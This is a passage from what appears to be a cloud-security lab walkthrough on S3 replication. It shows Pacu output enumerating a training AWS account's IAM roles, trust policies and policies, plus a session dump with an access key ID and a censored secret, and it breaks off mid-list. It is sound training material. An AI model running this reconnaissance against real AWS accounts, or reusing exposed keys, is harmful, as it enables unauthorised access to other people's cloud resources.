</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> Found <span style="color:#ae81ff">5</span> policies
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> No Groups Found
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span>   FAILURE: MISSING NEEDED PERMISSIONS
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> iam__enum_users_roles_policies_groups completed.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> MODULE SUMMARY:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0</span> Users Enumerated
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">10</span> Roles Enumerated
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">5</span> Policies Enumerated
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0</span> Groups Enumerated
</span></span><span style="display:flex;"><span>  IAM resources saved in Pacu database.
</span></span></code></pre></div><p>We run the data command to get more details about what was found and can see some data relating to S3 replication and batch operations that will come in handy later as we progress through the lab.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Pacu</span> <span style="color:#960050;background-color:#1e0010">(pwnedlabs-s</span><span style="color:#ae81ff">3</span><span style="color:#960050;background-color:#1e0010">repl:imported-pentester)</span> <span style="color:#960050;background-color:#1e0010">&gt;</span> <span style="color:#960050;background-color:#1e0010">data</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Session</span> <span style="color:#960050;background-color:#1e0010">data:</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">aws_keys:</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&lt;AWSKey:</span> <span style="color:#960050;background-color:#1e0010">imported-pentester&gt;</span>
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">id:</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">created:</span> <span style="color:#e6db74">&#34;2024-06-18 03:22:41.520676&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">is_active:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">name:</span> <span style="color:#e6db74">&#34;pwnedlabs-s3repl&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">key_alias:</span> <span style="color:#e6db74">&#34;imported-pentester&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">access_key_id:</span> <span style="color:#e6db74">&#34;AKIA2MIMMWORU5YCHZLI&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">secret_access_key:</span> <span style="color:#e6db74">&#34;******&#34;</span> <span style="color:#960050;background-color:#1e0010">(Censored)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">session_regions:</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;all&#34;</span>
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">IAM:</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;Roles&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForCostOptimizationHub&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORWDVMMFWKH&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Wed, 20 Mar 2024 04:56:19&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;cost-optimization-hub.bcm.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/organizations.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForOrganizations&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORQTTDATFLP&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:14:10&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;organizations.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/servicequotas.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForServiceQuotas&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWOR6TUQGSARV&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/servicequotas.amazonaws.com/AWSServiceRoleForServiceQuotas&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:24:13&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;servicequotas.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;A service-linked role is required for Service Quotas to access your service limits.&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/sso.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForSSO&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWOR6KASA6Z42&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:14:23&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;sso.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Service-linked role used by AWS SSO to manage AWS resources, including IAM roles, policies and SAML IdP on your behalf.&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/support.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForSupport&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORZK4TJGXTU&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:14:08&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;support.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Enables resource access for AWS to provide billing, administrative and support services&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/aws-service-role/trustedadvisor.amazonaws.com/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;AWSServiceRoleForTrustedAdvisor&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORZHM2AVJYI&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:14:08&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;trustedadvisor.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;OrganizationAccountAccessRole&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORXJEGBQA3H&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/OrganizationAccountAccessRole&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Thu, 08 Jun 2023 08:14:08&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;AWS&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::036528129738:root&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;s3-inventory-role&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORTN5PSQDTA&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/s3-inventory-role&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:31&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;s3_batch_operations_role&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORVCBIBCB2G&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/s3_batch_operations_role&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:31&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;batchoperations.s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROA2MIMMWORS3OEBPPLH&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:31&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AssumeRolePolicyDocument&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                    {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                ]
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MaxSessionDuration&#34;</span>: <span style="color:#ae81ff">3600</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ],
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;Policies&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;s3_batch_operations_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2MIMMWOR2SL2FN4D6&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:policy/s3_batch_operations_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachmentCount&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;IsAttachable&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:34&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:34&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;tier2_eng_permissions&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2MIMMWOR67XGQFCTY&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:policy/tier2_eng_permissions&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
